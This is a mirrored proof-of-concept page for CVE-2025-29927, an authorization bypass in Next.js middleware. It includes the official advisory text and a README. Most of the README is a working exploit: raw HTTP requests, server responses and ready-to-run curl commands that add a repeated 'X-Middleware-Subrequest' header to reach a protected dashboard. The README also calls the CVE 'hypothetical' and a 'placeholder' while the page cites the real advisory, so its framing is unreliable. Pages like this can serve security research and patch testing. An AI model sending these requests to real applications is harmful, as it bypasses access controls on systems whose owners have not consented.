Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title: Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description
Authorization Bypass in Next.js Middleware
Readme
# CVE-2025-29927-POC

## Introduction

This repository contains a Proof of Concept (PoC) for `CVE-2025-29927`, a hypothetical vulnerability demonstrating a flaw in middleware handling within a web application. The PoC illustrates how a specially crafted HTTP request can bypass redirection logic to access restricted content, such as a dashboard. This project is designed for educational and security research purposes only.

**Disclaimer**: This PoC is intended for use in controlled environments with explicit permission. Unauthorized testing against systems you do not own or have consent to test is illegal and unethical.

---

## Table of Contents

- [Prerequisites](#prerequisites)
- [Vulnerability Overview](#vulnerability-overview)
- [Proof of Concept Steps](#proof-of-concept-steps)
  - [Step 1: Initial Request (Unsuccessful)](#step-1-initial-request-unsuccessful)
  - [Step 2: Modified Request (Successful)](#step-2-modified-request-successful)
- [How to Replicate](#how-to-replicate)
- [References](#references)
- [Contributing](#contributing)
- [License](#license)

---

## Prerequisites

To follow this PoC, you’ll need:
- A target server (e.g., `abc.com`) running a vulnerable configuration (specific software/version TBD based on CVE details).
- An HTTP client tool like `curl` ([curl.se](https://curl.se/)), Burp Suite ([portswigger.net/burp](https://portswigger.net/burp)), or a custom script.
- Basic knowledge of HTTP protocols and headers (see [MDN HTTP Documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP)).

---

## Vulnerability Overview

`CVE-2025-29927` (placeholder; replace with official CVE details when available) appears to exploit a middleware misconfiguration or logic flaw. The PoC demonstrates that adding a custom header (`X-Middleware-Subrequest`) alters the server’s behavior, bypassing a redirection mechanism to access restricted content. This likely relates to how middleware (e.g., Nginx with Next.js) processes subrequests or validates headers.

For more on middleware vulnerabilities, refer to [OWASP Middleware Security](https://owasp.org/www-community/vulnerabilities/Middleware_Vulnerability).

---

## Proof of Concept Steps

The PoC consists of two steps: an initial unsuccessful request and a modified successful request. Each step includes the HTTP request, response, and detailed explanation.

### Step 1: Initial Request (Unsuccessful)

This step demonstrates the default server behavior when accessing the `/dashboard` endpoint without additional headers.

#### HTTP Request
```http
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

#### HTTP Response
```http
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive
```
![image](https://github.com/user-attachments/assets/54fec562-4f91-407b-8890-4920da878617)

#### Explanation
- **Request Details**:
  - `GET /dashboard`: Attempts to access the dashboard endpoint.
  - Standard headers like `User-Agent` and `Accept` mimic a typical browser request.
- **Response Details**:
  - `307 Temporary Redirect`: Indicates the server redirects the client, likely due to authentication, authorization, or routing logic (e.g., redirecting to a login page).
  - `Server: nginx/1.14.1`: Identifies the web server software.
- **Analysis**: The redirection suggests a protective mechanism preventing direct access to `/dashboard`. The lack of a `Location` header in this response (possibly omitted for brevity) implies the redirect destination is elsewhere.
- **Reference**: Learn more about HTTP status codes at [MDN HTTP Status](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status).

### Step 2: Modified Request (Successful)

This step introduces a custom header to bypass the redirection, successfully retrieving the dashboard content.

#### HTTP Request
```http
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

#### HTTP Response
```http
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174
```
![image](https://github.com/user-attachments/assets/757b8ff0-dddc-401f-a3d4-78547b38bb34)

#### Explanation
- **Request Details**:
  - `X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware`: A custom header added to the original request. The repeated `middleware` string may exploit a parsing or validation flaw in the middleware stack.
  - Other headers remain unchanged from Step 1.
- **Response Details**:
  - `200 OK`: Confirms successful access to the dashboard content.
  - `Content-Type: text/html; charset=utf-8`: Indicates an HTML response, likely the dashboard page.
  - `X-Powered-By: Next.js`: Suggests the application uses Next.js, a React framework that often relies on middleware for routing.
  - `Cache-Control`: Prevents caching, typical for dynamic, user-specific content.
  - `Content-Length: 30174`: Size of the response body in bytes.
- **Analysis**: The `X-Middleware-Subrequest` header likely tricks the middleware into treating the request as a legitimate subrequest, bypassing the redirect logic. This could indicate a vulnerability in how subrequests are validated or processed.
- **Reference**: Explore Next.js middleware at [Next.js Documentation](https://nextjs.org/docs/advanced-features/middleware).

---

## How to Replicate

Follow these steps to replicate the PoC using `curl`:

### Step 1: Send the Initial Request
```bash
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"
```
**Expected Output**: A `307 Temporary Redirect` response.

### Step 2: Send the Modified Request
```bash
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"
```
**Expected Output**: A `200 OK` response with the dashboard content.

**Note**: Replace `abc.com` with the actual target domain if testing in an authorized environment.

---

## References

- [CVE Details](https://cve.mitre.org/) - Official CVE database (update with specific CVE link when available).
- [MDN HTTP Documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP) - HTTP protocol basics.
- [Next.js Middleware](https://nextjs.org/docs/advanced-features/middleware) - Information on Next.js middleware behavior.
- [OWASP Middleware Security](https://owasp.org/www-community/vulnerabilities/Middleware_Vulnerability) - Middleware vulnerability overview.
- [curl Manual](https://curl.se/docs/manpage.html) - Guide to using `curl` for HTTP requests.

---

## License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →